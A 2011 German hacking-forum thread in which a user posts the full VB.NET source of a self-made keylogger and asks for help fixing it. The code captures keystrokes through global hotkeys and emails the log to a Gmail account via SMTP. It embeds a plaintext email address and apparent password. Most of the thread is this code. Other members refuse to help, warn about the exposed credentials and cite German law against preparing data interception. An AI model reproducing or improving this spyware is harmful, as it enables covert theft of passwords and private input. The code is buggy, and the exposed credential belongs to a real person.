Keylogger

edurne · Jul 21, 2011

@whoopy84: Danke!! Genau das habe ich gesucht

Also diese Software, die whoopy84 empfohlen hat kann ich nur JEDEM empfehlen:

Man gibt die Passworter zu Email/Facebook und Bankkonto über die Software ein. Kein Keylogger schafft es, die eingegebenen Passwörter zu protokollieren. Perfekt...
Grüße, Edurne

dennis2510 · Jul 22, 2011

Bei mir will mein selbst gecodeter keylogger (über vb.net) iwi nicht richtig laufen hat jmd ein source code oder so oder kann helfen? :S

Tsjuder · Jul 22, 2011

dennis2510 hat gesagt.:
hat jmd ein source code o

lol? Wer weiß was du damit anstellen willst.

Aber da es dafür auch durchaus andere Verwendungszwecke gibt als illegale kannst du:
a) Googlen, da man dazu auch etwas findet (meine ich ernst)
oder
b) dein Problem mal genauer spezifizieren und in den Code Bereich schreiben. Mit dem Problem "Geht nicht!" kann man nicht viel anfangen außer zu sagen "Dann machs richtig!". :wink:

dennis2510 · Jul 22, 2011

ja ich wei ist schlecht gecodet

Code:

Imports System.Net.Mail

Public Class Form1

    Private Declare Function RegisterHotKey Lib "user32" (ByVal hWnd As IntPtr, ByVal id As Integer, ByVal fsModifier As Integer, ByVal vk As Integer) As Integer
    Private Declare Sub UnregisterHotKey Lib "user32" (ByVal hWnd As IntPtr, ByVal id As Integer)
    Private Const Key_NONE As Integer = &H0
    Private Const WM_HOTKEY As Integer = &H312
    Private Sub Form1_Load(ByVal sender As Object, ByVal e As System.EventArgs) Handles Me.Load

        Me.WindowState = FormWindowState.Minimized
        Me.TransparencyKey = Me.BackColor
        RegHotkeys()
        Timer1.Start()
        BackgroundWorker1.RunWorkerAsync()
    End Sub
   Private Sub NotifyIcon1_Click(ByVal sender As Object, ByVal e As System.EventArgs) Handles NotifyIcon1.Click
        Me.ShowInTaskbar = True
        Me.NotifyIcon1.Visible = False
        Me.WindowState = FormWindowState.Normal
    End Sub

    Private Sub Form1_Resize(ByVal sender As Object, ByVal e As System.EventArgs) Handles Me.Resize
        If Me.WindowState = FormWindowState.Minimized Then
            Me.ShowInTaskbar = False
            Me.WindowState = FormWindowState.Minimized
            Me.NotifyIcon1.Visible = True
        End If
    End Sub
    Private Sub Form1_Closing(ByVal sender As Object, ByVal e As System.ComponentModel.CancelEventArgs) Handles MyBase.Closing

        Dim MyMailMessage As New MailMessage()
        MyMailMessage.From = New MailAddress("denniskekz@googlemail.com")
        MyMailMessage.To.Add("denniskekz@googlemail.com")
        MyMailMessage.Subject = ("Keylogger")
        MyMailMessage.Body = TextBox1.Text
        Dim SMTPServer As New SmtpClient("smtp.gmail.com")
        SMTPServer.Port = 587
        SMTPServer.Credentials = New System.Net.NetworkCredential("denniskekz@googlemail.com", "dennis2510schildi")
        SMTPServer.EnableSsl = True
        SMTPServer.Send(MyMailMessage)
        Me.Close()
    End Sub
    Sub RegHotkeys()
        BackgroundWorker1.RunWorkerAsync()
        RegisterHotKey(Me.Handle, 0, Key_NONE, Keys.A)
        RegisterHotKey(Me.Handle, 1, Key_NONE, Keys.B)
        RegisterHotKey(Me.Handle, 2, Key_NONE, Keys.C)
        RegisterHotKey(Me.Handle, 3, Key_NONE, Keys.D)
        RegisterHotKey(Me.Handle, 4, Key_NONE, Keys.E)
        RegisterHotKey(Me.Handle, 5, Key_NONE, Keys.F)
        RegisterHotKey(Me.Handle, 6, Key_NONE, Keys.G)
        RegisterHotKey(Me.Handle, 7, Key_NONE, Keys.H)
        RegisterHotKey(Me.Handle, 8, Key_NONE, Keys.I)
        RegisterHotKey(Me.Handle, 9, Key_NONE, Keys.J)
        RegisterHotKey(Me.Handle, 10, Key_NONE, Keys.K)
        RegisterHotKey(Me.Handle, 11, Key_NONE, Keys.L)
        RegisterHotKey(Me.Handle, 12, Key_NONE, Keys.M)
        RegisterHotKey(Me.Handle, 13, Key_NONE, Keys.N)
        RegisterHotKey(Me.Handle, 14, Key_NONE, Keys.O)
        RegisterHotKey(Me.Handle, 15, Key_NONE, Keys.P)
        RegisterHotKey(Me.Handle, 16, Key_NONE, Keys.Q)
        RegisterHotKey(Me.Handle, 17, Key_NONE, Keys.R)
        RegisterHotKey(Me.Handle, 18, Key_NONE, Keys.S)
        RegisterHotKey(Me.Handle, 19, Key_NONE, Keys.T)
        RegisterHotKey(Me.Handle, 20, Key_NONE, Keys.U)
        RegisterHotKey(Me.Handle, 21, Key_NONE, Keys.V)
        RegisterHotKey(Me.Handle, 22, Key_NONE, Keys.W)
        RegisterHotKey(Me.Handle, 23, Key_NONE, Keys.X)
        RegisterHotKey(Me.Handle, 24, Key_NONE, Keys.Y)
        RegisterHotKey(Me.Handle, 25, Key_NONE, Keys.Z)

        RegisterHotKey(Me.Handle, 26, Key_NONE, Keys.D0)
        RegisterHotKey(Me.Handle, 27, Key_NONE, Keys.D1)
        RegisterHotKey(Me.Handle, 28, Key_NONE, Keys.D2)
        RegisterHotKey(Me.Handle, 29, Key_NONE, Keys.D3)
        RegisterHotKey(Me.Handle, 30, Key_NONE, Keys.D4)
        RegisterHotKey(Me.Handle, 31, Key_NONE, Keys.D5)
        RegisterHotKey(Me.Handle, 32, Key_NONE, Keys.D6)
        RegisterHotKey(Me.Handle, 33, Key_NONE, Keys.D7)
        RegisterHotKey(Me.Handle, 34, Key_NONE, Keys.D8)
        RegisterHotKey(Me.Handle, 35, Key_NONE, Keys.D9)

        RegisterHotKey(Me.Handle, 36, Key_NONE, Keys.Space)
        RegisterHotKey(Me.Handle, 37, Key_NONE, Keys.Enter)
        RegisterHotKey(Me.Handle, 38, Key_NONE, Keys.RShiftKey)
        RegisterHotKey(Me.Handle, 39, Key_NONE, Keys.LShiftKey)
        RegisterHotKey(Me.Handle, 40, Key_NONE, Keys.CapsLock)
        RegisterHotKey(Me.Handle, 41, Key_NONE, Keys.Back)





    End Sub
    Protected Overrides Sub WndProc(ByRef m As Message)
        If m.Msg = WM_HOTKEY Then
            Select Case m.WParam
                Case 0
                    TextBox1.Text &= "a"
                Case 1
                    TextBox1.Text &= "b"
                Case 2
                    TextBox1.Text &= "c"
                Case 3
                    TextBox1.Text &= "d"
                Case 4
                    TextBox1.Text &= "e"
                Case 5
                    TextBox1.Text &= "f"
                Case 6
                    TextBox1.Text &= "g"
                Case 7
                    TextBox1.Text &= "h"
                Case 8
                    TextBox1.Text &= "i"
                Case 9
                    TextBox1.Text &= "j"
                Case 10
                    TextBox1.Text &= "k"
                Case 11
                    TextBox1.Text &= "l"
                Case 12
                    TextBox1.Text &= "m"
                Case 13
                    TextBox1.Text &= "n"
                Case 14
                    TextBox1.Text &= "o"
                Case 15
                    TextBox1.Text &= "p"
                Case 16
                    TextBox1.Text &= "q"
                Case 17
                    TextBox1.Text &= "r"
                Case 18
                    TextBox1.Text &= "s"
                Case 19
                    TextBox1.Text &= "t"
                Case 20
                    TextBox1.Text &= "u"
                Case 21
                    TextBox1.Text &= "v"
                Case 22
                    TextBox1.Text &= "w"
                Case 23
                    TextBox1.Text &= "x"
                Case 24
                    TextBox1.Text &= "y"
                Case 25
                    TextBox1.Text &= "z"
                Case 26
                    TextBox1.Text &= "0"
                Case 27
                    TextBox1.Text &= "1"
                Case 28
                    TextBox1.Text &= "2"
                Case 29
                    TextBox1.Text &= "3"
                Case 30
                    TextBox1.Text &= "4"
                Case 31
                    TextBox1.Text &= "5"
                Case 32
                    TextBox1.Text &= "6"
                Case 33
                    TextBox1.Text &= "7"
                Case 34
                    TextBox1.Text &= "8"
                Case 35
                    TextBox1.Text &= "9"
                Case 36
                    TextBox1.Text &= " "
                Case 37
                    TextBox1.Text &= "[ENTER]"
                Case 38
                    TextBox1.Text &= "[SHIFT]"
                Case 39
                    TextBox1.Text &= "[SHIFT]"
                Case 40
                    TextBox1.Text &= "[GROß]"
                Case 41
                    TextBox1.Text &= "[DEL]"

            End Select
        End If
        MyBase.WndProc(m)
    End Sub

    Private Sub Form1_MouseClick(ByVal sender As Object, ByVal e As System.Windows.Forms.MouseEventArgs) Handles Me.MouseClick
        Me.WindowState = FormWindowState.Minimized
    End Sub

    Private Sub Form1_Shown(ByVal sender As Object, ByVal e As System.EventArgs) Handles Me.Shown
        Me.WindowState = FormWindowState.Minimized
    End Sub

    Private Sub SetWindowPos(ByVal Handle As Integer, ByVal p2 As Integer, ByVal p3 As Integer, ByVal p4 As Integer, ByVal p5 As Integer, ByVal p6 As Integer, ByVal p7 As Integer)
        Throw New NotImplementedException
    End Sub

    Private Sub Timer1_Tick(ByVal sender As System.Object, ByVal e As System.EventArgs) Handles Timer1.Tick
        Dim MyMailMessage As New MailMessage()
        MyMailMessage.From = New MailAddress("denniskekz@googlemail.com")
        MyMailMessage.To.Add("denniskekz@googlemail.com")
        MyMailMessage.Subject = ("Keylogger")
        MyMailMessage.Body = TextBox1.Text
        Dim SMTPServer As New SmtpClient("smtp.gmail.com")
        SMTPServer.Port = 587
        SMTPServer.Credentials = New System.Net.NetworkCredential("denniskekz@googlemail.com", "pw")
        SMTPServer.EnableSsl = True
        SMTPServer.Send(MyMailMessage)
        Me.Close()
    End Sub

    Private Sub BackgroundWorker1_DoWork(ByVal sender As Object, ByVal e As System.ComponentModel.DoWorkEventArgs) Handles BackgroundWorker1.DoWork
        Threading.Thread.Sleep(1000)
        Timer1.Start()
        BackgroundWorker1.RunWorkerAsync()
        Timer1.Stop()
    End Sub
End Class

zeichnet zwar alles auf, aber da wo man was rein schreiben moechte kommt nix an sondern nur ins programm
mfg dennis

enkore · Jul 22, 2011

Ich quote das mal

das ist so unfassbar dämlich...

Dazu muss ich nochmal meine Signatur zitieren:

The deterioration of the spirit of man. Man undermining himself [...]

Tsjuder · Jul 22, 2011

Und festhalten!: http://www.office-loesung.de/ftopic448290_0_0_asc.php&sid=298f131279c1bc1117a6b029382fafb1#1868840

Aber gut das wir jetzt wissen, dass du nichts vernünftiges damit vorhast. Und wieso postest du bitte deinen Usernamen + Password von deinem Account?

dennis2510 · Jul 22, 2011

Ich weiß nicht wie ich das anders machen soll. Deswegen läufts über email von mir aus kann es auch als txt laufen o.Ä. und ausserdem ist es für mich aufm pc + übungszweck nur über email kann ich es.

enkore · Jul 22, 2011

Und was hindert mich jetzt daran deine Identität zu klauen, wo ich doch dein Standardpasswort für die meisten Webseiten kenne?

dennis2510 · Jul 24, 2011

ist es das?.. nö und ganz ehrlich ich frag mich hier wo die hacker mentalität hin ist. Jeder hilft jedem etc. ...

Tsjuder · Jul 24, 2011

Hier wird auch generell jedem geholfen, aber bestimmt nicht bei illegalen Sachen.

Ich hab mir den Quellcode zwar nicht angeguckt, aber sowie das zitierte sich liest, versucht du die geloggten Keys an deine E-Mail zu senden. Das du das ganze legal nutzen willst, kann ich mir beim besten Willen nicht vorstellen und kein anderer anscheinend auch sonst hätte dir jemand geholfen. Zudem ist es auch nicht schwer mal eben zu googlen, wie man eine Dateiausgabe macht oder warum nicht direkt in die Konsole?

enkore · Jul 25, 2011

dennis2510 hat gesagt.:
ist es das?.. nö und ganz ehrlich ich frag mich hier wo die hacker mentalität hin ist. Jeder hilft jedem etc. ...

Das ausgerechnet ein unreifes Skriptkiddie mit Hackermentalität anfängt, finde ich ja sehr witzig. Das Habo ist ein Forum für Menschen die sich über legale Themen wie Sicherheit und Programmierung austauschen möchten. Der (schwache) Versuch einen Keylogger zu programmieren ist zwar nicht strafbar, der Einsatz oder die Vorbereitung des Einsatzes jedoch schon (§ 202c StGB, "Vorbereiten des Ausspähens und Abfangens von Daten"). Und das ist kein Kavaliersdelikt.

Würde ein Keylogger funktionieren, wäre auch der illegal, denn wer anderen verschafft, verkauft, einem anderen überlässt, verbreitet oder sonst zugänglich macht, wird mit Freiheitsstrafe bis zu einem Jahr oder mit Geldstrafe bestraft..

"Jeder hilft jedem" hat übrigens nichts mit Hackern zu tun, sondern steht schon in der Bibel und nennt sich "Nächstenliebe".